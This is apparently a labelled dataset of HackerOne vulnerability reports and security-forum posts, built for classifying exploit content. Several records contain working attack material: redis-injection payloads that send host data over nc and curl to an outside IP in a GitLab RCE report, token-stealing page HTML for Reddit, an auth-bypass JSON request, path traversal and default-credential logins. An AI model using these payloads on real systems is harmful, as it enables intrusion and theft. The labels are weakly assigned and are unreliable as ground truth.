-{"id": "928ac4d28c99c141e27f", "text": "[Resource Injection] Object injection in `stripe-billing-typographic` GitHub project via /auth/login\n\n## Summary:\nIt is possible to use an object injection failure to achieve a sql injection, where attacker uses the means to bypass authentication, requiring only a valid password within the database.\n\nThe vulnerable code is:  https://github.com/stripe/stripe-billing-typographic\n\nFor a failure to occur, it is necessary that the environment is configuring with the mysql database.  \n\nThe same scenario is seen in the demonstration environment: https://typographic.io/\n\n## Steps To Reproduce:\n\n  1. Register a simple user in the application, with a password at your desire. Ex:\n```\nuser: test@test.com\npassword:123\n```\n  2. Send a request to /auth/login like this:\n```\nPOST /auth/login\n\n{\"email\":{\"email\":1},\"password\":\"1234\"}\n```\n  3. You will then see that the login was performed without the need to provide a valid user!\n\n{F1287585}\n\n\n## Supporting Material/References:\nWell, the failure occurs due to the possibility of an object reaching the query, which will be handled by a dependency called sqlstring, performing some scapes, where it will cause a confusion to the query.\n\nSqlstring will handle {,} replacing with `. \nSo your login query will be:\n```\nSELECT * FROM `accounts` WHERE `email`=`email`=1\n```\nThe sql string library is a dependency on the mysql library, which is used by knex.\n\n## Mitigation\n\nIs a simple step, use JSON.stringfy e resolve your problem, because JSON.stringfy will transform the malicious object into a string, preventing treatment during a query.\n\n## Impact\n\nThis vulnerability to the applied scenario makes it easier for the attacker to acquire accounts, as the attacker only needs to discover a valid password to gain access to the victim's account.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8d5b935a0b9d1d32ce87", "text": "[Cross-site Scripting (XSS) - DOM] HTML injection in title of reader view\n\n## Summary:\n\nReader.html in Brave doesn't escape/trim HTML tags in %READER-TITLE%.\nhttps://github.com/brave/brave-ios/blob/development/Client/Frontend/Reader/Reader.html#L17\nThis allows any page to inject malicious HTML code in reader-mode page through `<title>{html code you want to inject}</title>`.\n\n## Products affected: \n\nBrave iOS Version 1.20 (20.09.11.20), also current Nightly\n\n## Steps To Reproduce:\n\n* Open the following Google docs: https://docs.google.com/document/d/10kPw7PNOujlenF08i3jBgD4zqoG5148u8TRkoHj7io8/edit?usp=sharing\n* Push reader-mode button shown in address bar.\n* Malicious login form is rendered instead of the document\n* Fill the form, then the user/password you filled are stolen to malicious website\n\n## Supporting Material/References:\n\n  * See attached movie file for the demonstration\n\n## Impact\n\nMalicious web contents can inject HTML code and manipulate readerized page (hosted in localhost:65XX).\n\nAlso, if injected HTML code contains a string `%READER-CONTENT%`, it is replaced to the original page contents.\nhttps://github.com/brave/brave-ios/blob/87af4cbf0474bafd13673690aeee0c11059fbba2/Client/Frontend/Reader/ReaderModeUtils.swift#L29\n\nSo, attacker can steal user's sensitive information contained in the original HTML page through `<form><textarea>%READER-CONTENT%</textarea>`.\nWhen you open the following Google search link in reader-mode, you can reproduce the above scenario as well.\nhttps://www.google.com/search?q=%3Cform%3E%3Ctextarea%20name%3D%22dom%22%3E%25READER-CONTENT%25%3C%2Ftextarea%3E%3Cinput%20type%3D%22submit%22%3E%3C%2Fform%3E", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6e447be7cd4d41e1dd39", "text": "LOL, what a Dumbo I am. Several days stuck with the task…just because I did not understand the task properly. So, save your time if you are stuck too. Disassemble, loop, iterate through RDX and save all results of the looping…and then just delete 0x and join the bytes together. No switching around. Just load it, run it and you will see the value you are looking for. Its straigthforward, not a trap.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b5c27b13b58a69e99fdf", "text": "[Unknown] [python]: Add some dangerous sinks for paramiko ssh clients\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1217604f470cecff20b0", "text": "[Unknown] CVE-2021-38314 @ https://www.mtn.co.rw\n\n## Summary:\nHello.\nI your domain https://www.mtn.co.rw was vulnerable to CVE-2021-38314\n\n##Description:\nThe Gutenberg Template Library & Redux Framework plugin <= 4.2.11 for WordPress registered several AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php that were unique to a given site but deterministic and predictable given that they were based on an md5 hash of the site URL with a known salt value of '-redux' and an md5 hash of the previous hash with a known salt value of '-support'. These AJAX actions could be used to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of site&#8217;s AUTH_KEY concatenated with the `SECURE_AUTH_KEY`.\n\n\n##Referrence:\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38314\nhttps://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/\n\n\n## Steps To Reproduce:\nVisit https://www.mtn.co.rw/wp-admin/admin-ajax.php?action=136454233f7f7b567bf1310154c66f11 you will see ```893c4010bb377e5d41600958db3f8e17```\n\n## Supporting Material/References:\n{F1461742}\n\n## Impact\n\nCVE-2021-38314 \n\nThank you\n@aliyugombe", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2021-38314"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "05a8c421ada4d4f096a9", "text": "[Unknown] PYTHON: CWE-079 - Add query for email injection\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d76c8bf7610d783b993e", "text": "[Content Spoofing] Potential Spoofing Risk through Firefox Private Relay Service\n\n** Note: This is a duplicate of Bugzilla Report Bug ID: 1755749.**\n\n\nThe problem: adversaries can leverage Firefox’s Relay service to send spoofing emails to users. The current Relay design increases the chance for the spoofing emails to reach the target inbox that would be otherwise blocked.\n\nRoot causes:\n(1) The forwarding system re-composes the entire email with a new HTML template and also re-writes the “From:” header as “@relay.firefox.com”. This removes/invalidates the signatures of DKIM and ARC headers.\n\n(2) “@relay.firefox.com” and the IP of Firefox Relay have a high reputation, which bumps the trust of the forwarded spoofing emails. For these two reasons, a spoofing email that would otherwise be blocked (or placed into the spam folder) can enter the user's inbox.\n\nProof-of-concept:\n\nStep 1: Pick a spoofing target domain. We tried domains with different DMARC policies: “none”, “quarantine”, and “reject”. All three cases worked. Specifically, we tested spoofing targets as “illinois.edu”, “usenix.org”, and “nicehash.com”\n\nStep 2: Craft a spoofing email with the forged “From:” in the header\n\nStep 3: Send the email to the “Firefox Relay” victim address\n\nThe email enters the target user's inbox, without any warnings as long as the email is successfully delivered to @relay.firefox.com SMTP server.\n\nWe noticed that even when the spoofed domain has DMARC=reject (i.e., nicehash.com), Firefox Relay will forward the emails. The modified emails can then enter the user's inbox. See the screenshot attached (our forged login notification from nicehash.com).\n\nOur Recommendations:\n(1). Relay should perform authentication and drop emails with failed DMARC (especially for sender policy=“reject”).\n(2). Relay should perform ARC validation and sealing to maintain the integrity of the ARC chain.\n(3). By default, Relay should not modify the original email, nor re-composing a new one with Firefox's template && forwarded content.\n\nExplanations: if the incoming email has DKIM, because of (3), the DKIM signature will still be valid when the email reaches the receiver, which makes DMARC pass (i.e., no harm on deliverability). If the incoming email does not have DKIM but has SPF, the above recommendations might hurt deliverability when (a) the sender’s DMARC policy is “reject”/“quarantine” and (b) SPF=“pass” at the relay. Under this condition, the relay may consider modifying “From” to ensure deliverability. In this case, because SPF is “pass” at the relay (i.e., email authenticity is verified), modifying “From” does not introduce additional risks to the receiver. If the incoming email does not have DKIM or SPF, the above recommendations also do not hurt deliverability.\n\nBest regards,\n\n## Impact\n\nAdversaries can leverage Firefox’s Relay service to send spoofing emails to users. The current Relay design increases the chance for the spoofing emails to reach the target inbox that would be otherwise blocked.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ea9f44b426974ccc3367", "text": "[OS Command Injection] RCE via github import\n\nHello,\n\nWhile continuing mining on [github import](https://hackerone.com/reports/1665658), I found a vulnerability on gitlab.com allowing to execute remotely arbitrary commands.\n\nGitlab uses Octokit to get data from github.com. Octokit uses [Sawyer::Resource](https://github.com/lostisland/sawyer/blob/master/lib/sawyer/resource.rb) to represent results.\n\nSawyer is a crazy class that [converts](https://github.com/lostisland/sawyer/blob/f5f080d5c5260e094069139ffc7c13d0acba4ab5/lib/sawyer/resource.rb#L81) a hash to an object whose methods are based on the hash's key:\n\n```ruby\nirb(main):641:0> Sawyer::VERSION\n=> \"0.8.2\"\nirb(main):642:0> a = Sawyer::Resource.new( Sawyer::Agent.new(\"\"), to_s: \"example\", length: 1)\n=> \n{:to_s=>\"example\", :length=>1}\n...\nirb(main):643:0> a.to_s\n=> \"example\"\nirb(main):644:0> a.length\n=> 1\n```\n\nGitlab uses directly the responded Sawyer object in few functions, such as, the `id` variable in [this function](https://gitlab.com/gitlab-org/gitlab/-/blob/99f5db917a33ad9466f35918a1da454ed397be8e/lib/gitlab/github_import/parallel_scheduling.rb#L145):\n\n```ruby\n      def already_imported?(object)\n        id = id_for_already_imported_cache(object)\n\n        Gitlab::Cache::Import::Caching.set_includes?(already_imported_cache_key, id)\n      end\n```\n\nNormally, `id` should be a number. However when `id` is `{\"to_s\": {\"bytesize\": 2, \"to_s\": \"1234REDIS_COMMANDS\" }}`, we can inject additional redis commands by using `bytesize` to limit the previous command when it [is constructed](https://github.com/redis/redis-rb/blob/v4.4.0/lib/redis/connection/command_helper.rb#L8) (although the `bytesize` is `2` we need to reserve 4 bytes as 2 additional bytes for CLRF):\n\n```ruby\n      def build_command(args)\n        command = [nil]\n\n        args.each do |i|\n          if i.is_a? Array\n            i.each do |j|\n              j = j.to_s\n              command << \"$#{j.bytesize}\"\n              command << j\n            end\n          else\n            i = i.to_s\n            command << \"$#{i.bytesize}\"\n            command << i\n          end\n        end\n```\n\nAs we can execute any redis commands, we can escalate to execute any Bash command by using an existing gadget, for example:\n\n```\nlpush resque:gitlab:queue:system_hook_push \"{\\\"class\\\":\\\"GitlabShellWorker\\\",\\\"args\\\":[\\\"class_eval\\\",\\\"open(\\'| (hostname; ps aux)  | nc 51.75.74.52 11211  \\').read\\\"],\"queue\\\":\\\"system_hook_push\\\"}\"\n```\n\nI tested this redis command first on my own gitlab instance and it worked. \n\nI then tested on gitlab.com but got nothing. I tried another by replacing basically `nc` by `curl` but no luck:\n\n```\n lpush resque:gitlab:queue:system_hook_push \"{\\\"class\\\":\\\"PagesWorker\\\",\\\"args\\\":[\\\"class_eval\\\",\\\"IO.read('|(hostname; ps aux) | curl 51.75.74.52:11211 -X POST --data-binary @-  ')\\\"], \\\"queue\\\":\\\"system_hook_push\\\"}\"\n```\n\nAlthough the gadget above works well on my local instance but gitlab SaaS which may be protected somehow or used another redis namespace for Sidekiq, even another redis instance. So I used then the basic redis command `REPLICAOF 51.75.74.52 11211\\n\\n` to test gitlab.com and I got a ping from your redis server to my server `nc -vlkp 11211`:\n\n{F1871024}\n\nThis means that I have the full control on the redis. After seeing the pings, I immediately turned off the replication by executing the redis command `REPLICAOF no one\\n\\n`. No information from your redis server has been replicated to mine as I used `nc` and I got only the `ping` messages.\n\n\nBy checking on my local instance at `/var/opt/gitlab/redis/redis.conf`, I see that only `keys` command is disable. I did not try `FLUSHALL` to write data to file as it is too dangerous.\n\nAs gitlab uses redis as a cache storage, so I tried to reach RCE via `Marshal.dump` method. I tested the following payload on gitlab.com to poison the avatar of my project via the key `cache:gitlab:avatar:yvvdwf/xss:16210710`:\n\n```\n\\r\\n*3\\r\\n$3\\r\\nset\\r\\n$39\\r\\ncache:gitlab:avatar:yvvdwf/xss:16210710\\r\\n$347\\r\\n\\u0004\\b[\\bc\\u0015Gem::SpecFetcherc\\u0013Gem::InstallerU:\\u0015Gem::Requ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bf4ea2b7d3e5973b1db4", "text": "Nmap-cheat-sheet\n\nA very nice help using nmap. StationX – 1 May 20 Nmap Cheat Sheet Example IDS Evasion command", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e8a0fbb4289821a7c219", "text": "[Improper Access Control - Generic] One-click account hijack for anyone using Apple sign-in with Reddit, due to response-type switch + leaking href to XSS on www.redditmedia.com\n\nHi,\n\n# Description\n\nI've been researching new ways to steal OAuth codes and access-tokens using postMessage, and I found a way for me to steal the code and/or access-token from Apple-sign-in on reddit.com allowing a full account hijack of the account in Reddit.\n\nThe way it works is this:\n\n1. Attacker prepares a `state`-parameter in its own browser from the regular Apple sign-in flow in Reddit. This is an important part on how we get the code.\n2. Attacker makes a page for the victim with the attacker's state attached to it. The page loads an iframe with `www.redditmedia.com`, which is an intentional sandbox but with a fun quirk, it uses `window.name` of the frame to pass over query parameters for the current URL in the main window of Reddit. This also includes fragment, which is what we need to get the tokens.\n3. The javascript in the www.redditmedia.com sandbox will create a link to Apple sign-in for Reddit, but tainted with the `state`-value that the attacker set. Also, the `response_type` is modified from `code` to `code+id_token` and the `response_mode` to `fragment`. This is the second important part why we can steal the code, since Reddit uses `response_mode=web_message` live, to get the message as a postMessage from the login popup, but the other response modes in Apple-ID are not disabled by Reddit. **Reddit is not expecting to get any sensitive tokens in the URL fragment.** Also, the `redirect_uri` set in the OAuth-application in Apple for Reddit is allowing `https://reddit.com` only as the return page. This is something you need to remove, or point elsewhere. When you're using `response_mode=web_message`, the `redirect_uri` doesn't really matter what it is set to, since the whole origin of `https://reddit.com` will be allowed to get the postMessage. But since we now can direct the tokens to Reddit's main page, we have the iframe of www.redditmedia.com there to catch the tokens.\n4. Victim clicks the link from the attacker page, will go through \"sign-in with Apple\" for Reddit, but with the attacker's `state`-parameter. When the login process is completed, the URL of the main page becomes `https://reddit.com/#state=xxx&code=xxx&access_token=xx`.\n5. The XSS on `www.redditmedia.com` in the first window, which has the same domain as the iframe, will be allowed to ask about the `window.name` of the iframe in the main window, since it's the same origin as the iframe on the attacker's page. It will then be able to steal the current URL that has the tokens in it.\n\nHere's a video to show the flow, as you will see in the beginning - the attacker has the red profile in Chrome. He will open his own session with Apple and copy the state to the attacker-page, and then send the link to the victim (in the gray profile of Chrome). When the code shows up on the attacker's page later, that's where the attacker then takes over again and uses its incognito browser window to sign in as the victim by posting the postMessage from his Apple-ID sign in popup to Reddit:\n\n{F1726830}\n\nAnd here's a link for testing:\n\n```\nhttps://fransrosen.com/reddit-hijack-424342.html\n```\n\n# Technical details\n\nHere's the HTML of the malicious page:\n\n```html\n<html>\n<style>pre { word-break: break-word; white-space: pre-wrap; }</style>\n<body>\n<div id=\"start\">\nAttacker, enter your Apple ID-OAuth URL when trying to <a href=\"https://reddit.com\" target=\"_blank\">sign in to Reddit here</a>:<br />\n<input id=\"state\">\n<button onclick=\"launch(extractstate(document.getElementById('state').value), true)\">Generate a victim URL with attacker's state</button>\n</div>\n\n\n<div id=\"fr\"></div>\n\n<script>\nvar inj, monitor;\nfunction extractstate(st) {\n    return st.indexOf('&state=') !== -1 ? st.split('&state=')[1].split('&')[0] : st;\n}\nfunction startmonitor(st) {\n    history.pushState('/','/',location.pathname + '?monitor&state=' + st)\n    monitor = setInterval(function() {\n        fetch('https://MY-LOGGER-DO", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c29c0891b92cd94fa42d", "text": "[Improper Restriction of Authentication Attempts] Uninstalling Mattermost Launcher for Windows (64-bit), then reinstalling keeps you logged in without authentication\n\nHello Team,\n\nHope you are doing great and enjoying a lot. \nThis issue affected me directly and I was very amazed by it, so I felt it was important to report it in case it was not known. It is resulting unintended behavior:\n\nIn addition to this report is very similar to both of already been Resolved hackerone reports\nhttps://hackerone.com/reports/238260\nhttps://hackerone.com/reports/1278261\n\nSteps to reproduce:\n1) Install The Mattermost Desktop App for Windows (64-bit).\n2) Enter the Display name with Server URL\n3) Login to Mattermost Desktop App\n4) Uninstall Mattermost Desktop App\n5) Reinstall Mattermost Desktop App\n\nConclusion: You will automatically be logged back in to your account, even though you uninstalled Mattermost Desktop App from your computer and did not enter a username/password to login to the fresh Mattermost Desktop App installation.\n\nThanks and have a good day ;)\nRegards\n@annonmous\n\n## Impact\n\nThe Mattermost Desktop App uninstall process is fully automatic, there is no prompt or indication that there is data left behind. I believe it is reasonable to expect that when uninstalling Mattermost Desktop App users session data should have been removed. If I am a user on a shared user account (for example, if I borrowed a computer and I installed Mattermost Desktop App, but uninstalled it later), they can take full control of my account after the fact.\n\nWhen testing this, I could access all of my messages and data, and even access the Mattermost Desktop App admin panel for my team that I am an administrator of.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7eb1468b340859393e63", "text": "[Improper Access Control - Generic] Leaks of username and password leads to CVE-2018-18862 exploitation\n\nHi DoD Team, \nI hope you are doing good today.\n\nThis is a follow-up from my  November 15th 2022 report number #1775217 (https://hackerone.com/reports/1775217)\nIn all respect and to be clear, I don't want to push too hard or be annoying on this and feel free to tell me if you don't want or need to take action on this.\n\nSince my report #1775217 was left un-answered I felt I should open a new one since I feel this is serious matter.\n\n>>Recap of my last report : \n>>On November 15th 2022: I opened a report describing how I've found a set of credential publicly exposed from an ITSM system indexed in search engines.\n>> On November 16th 2022 :I had a reply telling me that the credentials were valid but didn't have any rights on the system so there was no impact.\n>> On November 17th2022 :  I had found another set of credentials exposed and I was able to successfully exploit CVE-2018-18862 from this.\n>>This was left un-answered.\n>>On February 12th 2023: The website was down and I left my report as such.\n>>See : https://hackerone.com/reports/1775217 for all the details.\n\n\nToday, to my surprise and while doing other searches I stumbled accross this website again.\nI would like to reiterate the following : \n\n\n>Today, May 16th 2023, the set of Credentials I had found at the time are still working :\n>>**Username:** ████\n>>**Password:** ███\n\n>>**Username:** ████████\n>>**Password:** ██████████\n\nSee screenshot 3, taken on May 16th 2023, the \"█████████\" credentials are still exposed.\n█████\n\nHere is the login page : https://████████/███████/shared/login.jsp\n \nToday, May 16th 2023, I can still successfully exploit **CVE-2018-18862 - Incorrect access control**.\n\nI decided to re-open the report for the following reasons : \n-I thought about it a long time, since on my prior report I didn't have any reply after the successful CVE exploitation and the new set of credentials found I judged it was worth having a 2nd look.\n-Also, I thought the system was down but today I found out it was not.\n\n\nIn all good faith.\nBest regards.\n\n\n~pll25\n\n\n## References\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-18862\n\n## Impact\n\n-An attacker can access the system with the rights of these users.\n-I was able to list Roles. \n-I am potentially able to create/read reports and probably do more but I stopped there because the POC is already proven.\n-2 sets of credentials including valid username and passwords were leaked from this system on November 15th 2022.\n\n## System Host(s)\nhttps://███████\n\n## Affected Product(s) and Version(s)\nBMC Remedy version unknown\n\n## CVE Numbers\nCVE-2018-18862 - (CVSS V3.0 Score : 8.8 (HIGH), Vector: /AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\n## Steps to Reproduce\n**Step 1:** \nLet's say we use the account \"██████████\". \nLogin with the username and password on this page : https://██████/███/shared/login.jsp \n(ScreenShot 1 from November 15th describes how I was able to obtain it).\n███\n\n**Step 2 :** \n You should land on an Error web page telling that the file doesn't exist.\nThe landing URL should look like this : \n>>███████/█████/forms/arpcp/**arpc:web:retirementsapplicationsubmission/default+administrator+view/$external%20report%20server%20url_glb$retirementapplication&rs:command=render&preportinstanceid=$536871212$&rs:format=pdf**\n\n**Step 3 :** \nHere we can exploit CVE-2018-18862 : replace all the text after : /forms/arpc/ (the part of the URL in bold above) with :\n>>/User/Default+Admin+View1/\n\n**Step 4:** \nYou will now have access to the whole Remedy ITSM system.\nFrom there you have successfully exploited CVE-2018-18862.\n\nI was able to list Roles. \nI am potentially able to create/read reports and probably do more but I stopped there because the POC is already proven.\n\n## Suggested Mitigation/Remediation Actions\n- Change affected passwords. \n- MIgrate the system to a new un-affected version.\n- Apply the vendor work-arounds if possible.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2018-18862"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8459d9fda36ace87fc68", "text": "[Open Redirect] OPEN REDIRECT\n\nOpen Redirect Vulnerability\nHello , found open redirect in https://stage.test.dev-iam.xi.nutanix.com/api/iam/authn/v1/oidc/logout?post_logout_redirect_uri=.\n\nGo to\n\nhttps://stage.test.dev-iam.xi.nutanix.com/api/iam/authn/v1/oidc/logout?post_logout_redirect_uri=http://evil.com&id_token_hint=test\n\ncurl -I \"https://stage.test.dev-iam.xi.nutanix.com/api/iam/authn/v1/oidc/logout?post_logout_redirect_uri=http://evil.com&id_token_hint=test\"\n\nHTTP/2 302 \ncontent-type: text/html; charset=utf-8\nlocation: http://evil.com\ndate: Wed, 13 Oct 2021 20:55:57 GMT\nx-envoy-upstream-service-time: 2\nserver: envoy\n\n\n##Reference\n\nhttps://hackerone.com/reports/504751\nhttps://portswigger.net/kb/issues/00500100_open-redirection-reflected\n\n## Impact\n\nAn attacker can use this vulnerability to redirect users to other malicious websites, which can be used for phishing and similar attacks", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5b97276462dd731f1ef4", "text": "[Improper Access Control - Generic] access nagios dashboard using default credentials in ** omon1.fpki.gov, 3.220.248.203**\n\n## Summary:\nwhen i performing recon on fpki.gov i found nagios dashboard in ** omon1.fpki.gov, 3.220.248.203**  and i accessed it using default credentials\n\nusername:  ** nagiosadmin **\npassword :  ** nagiosadmin **\n\n## Steps To Reproduce:\n\n\n  1. visit these urls : \n        **  https://omon1.fpki.gov/nagios/side.php **\n        ** https://3.220.248.203/nagios/side.php **\n  2. he will ask to put your credentials in basic authentication enter these credentials \n       \n         username:  ** nagiosadmin **\n         password :  ** nagiosadmin **\n\n##POC:\n\nlook at poc pic\n\n## Impact\n\nattacker can make any action like an admin he has full control on your panal.\n\nthanks , have a nice day :)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6320adc38352b6980e3e", "text": "[Unknown] Apache mod_negotiation filename bruteforcing https://api.ratelimited.me\n\nmod_negotiation is an Apache module responsible for selecting the document that best matches the clients capabilities, from one of several available documents. If the client provides an invalid Accept header, the server will respond with a 406 Not Acceptable error containing a pseudo directory listing. This behaviour can help an attacker to learn more about his target, for example, generate a list of base names, generate a list of interesting extensions, look for backup files and so on.\nThis vulnerability affects Web Server.\n\nPOC:\nGET /index HTTP/1.1\nHost: api.ratelimited.me\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0\nAccept: codeslayer137\nAccept-Language: id,en-US;q=0.7,en;q=0.3\nConnection: close\nCookie: __cfduid=d1223d3114b0d6a19cb09dbdbf358c2721544548659; fs_uid=rs.fullstory.com`HCE07`5666823336886272:5639274879778816; PHPSESSID=iipu5birnh9jap713248e5vlb7; _ga=GA1.2.1698835729.1546721836; _gid=GA1.2.1401928030.1546721836; mp_9e50b60442d3361880f79100f15e5aac_mixpanel=%7B%22distinct_id%22%3A%20%221681fc8d6fc1ee-00a6f91171d9d8-12666d4a-e1000-1681fc8d6fd2cc%22%2C%22%24device_id%22%3A%20%221681fc8d6fc1ee-00a6f91171d9d8-12666d4a-e1000-1681fc8d6fd2cc%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D\nUpgrade-Insecure-Requests: 1\n\n## Impact\n\nPossible information disclosure: directory listing, filename bruteforcing, backup files.\nHow to fix this vulnerability\nDisable the MultiViews directive from Apache's configuration file and restart Apache.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d447aa24560aadba7d15", "text": "The files having the .bak are few and thus running the command below should get you through. find / -type f -name *.bak -exec ls -al {} \\; 2>/dev/null TazWake: I would use / because they ask for the whole system and I’d use -iname to make it a case insensitive search (assuming they meant .LOG or .log to count - this could be incorrect). I’d put the *.log in quotes to stop the shell expanding the wildcard before find does.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2b6d3095ee465c760c77", "text": "[Path Traversal] Path traversal leads to reading of local files on ███████ and ████\n\n**Description:**\nThe ██████████ web application has a feature that allows the downloading of files when you first go to the login screen. The endpoint that manages those downloads is the downloadForm endpoint with the filename parameter.\n\nhttps://███/████/login/downloadForm?filename=█████\n\nThe filename parameter has a directory traversal vulnerability which allows an attacker to add two (2) dots and a backslash (../) to traverse parent directories and view files that are not meant to be viewed.\n\nPOC:\nViewing /etc/hosts file\n\nUsing bash, run the following command:\ncurl https://█████████/███/login/downloadForm?filename=../../../../../../../../etc/hosts\n\nOr simply access the POC URL in a web browser, and the hosts file will be downloaded to the workstation.\n\nInitially, I attempted to read the /etc/passwd file, but I believe there's some form of WAF blocking the request. I didn't attempt to bypass the WAF, but if the WAF is bypassed the /etc/passwd file contains sensitive information about the users in the system. Furthermore, with the user information, an attacker can attempt to view the id_rsa keys of users in the system to gain ssh access to the server.\n\n## References\nhttps://portswigger.net/web-security/file-path-traversal\n\n## Impact\n\nA directory traversal vulnerability that allows an attacker to read files on a system can have serious consequences, depending on the sensitivity of the information that can be accessed. Here are a few examples of the potential impact:\n\nDisclosure of sensitive information: An attacker who can read files on a system can potentially access sensitive information such as user credentials, financial records, confidential business information, or other sensitive data. This could lead to identity theft, data breaches, or other forms of fraud.\n\nSystem compromise: In some cases, directory traversal vulnerabilities can be used to read sensitive configuration files or scripts that can be used to gain full access to the system. Once an attacker has access to the system, they can execute arbitrary code, install malware, or take other actions that can compromise the system's security.\n\nReputation damage: If sensitive information is leaked due to a directory traversal vulnerability, it can damage the reputation of the organization responsible for the system. This can have serious consequences for businesses, particularly those in industries where trust and confidentiality are critical.\nOverall, a directory traversal vulnerability that allows an attacker to read files can be a serious security risk that should be addressed as soon as possible to minimize the potential impact.\n\n## System Host(s)\n██████,███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nVisit https://██████████/████/login/downloadForm?filename=../../../../../../../../etc/hosts\n\n## Suggested Mitigation/Remediation Actions\nValidate user input: One of the most common causes of directory traversal vulnerabilities is insufficient validation of user input. To prevent this, all user input should be validated to ensure that it is within expected bounds and does not contain characters that could be used to navigate outside of the intended directory.\n\nSanitize file paths: Before accessing files, all file paths should be sanitized to remove any characters that could be used to navigate outside of the intended directory.\n\nUse secure coding practices: Developers should follow secure coding practices to prevent common vulnerabilities, such as directory traversal attacks. This includes using functions that are designed to handle file operations safely, such as realpath() or basename(), and avoiding the use of user input to construct file paths.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9230786e7beddee067d6", "text": "Hello friend! Taking notes for OSCP and HTB can be a game-changer, right? You should definitely check out https://notesonline.com – they’ve got some awesome tips and templates for effective note-taking. Personally, I’ve found that breaking down challenges step by step and using screenshots helps a ton.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
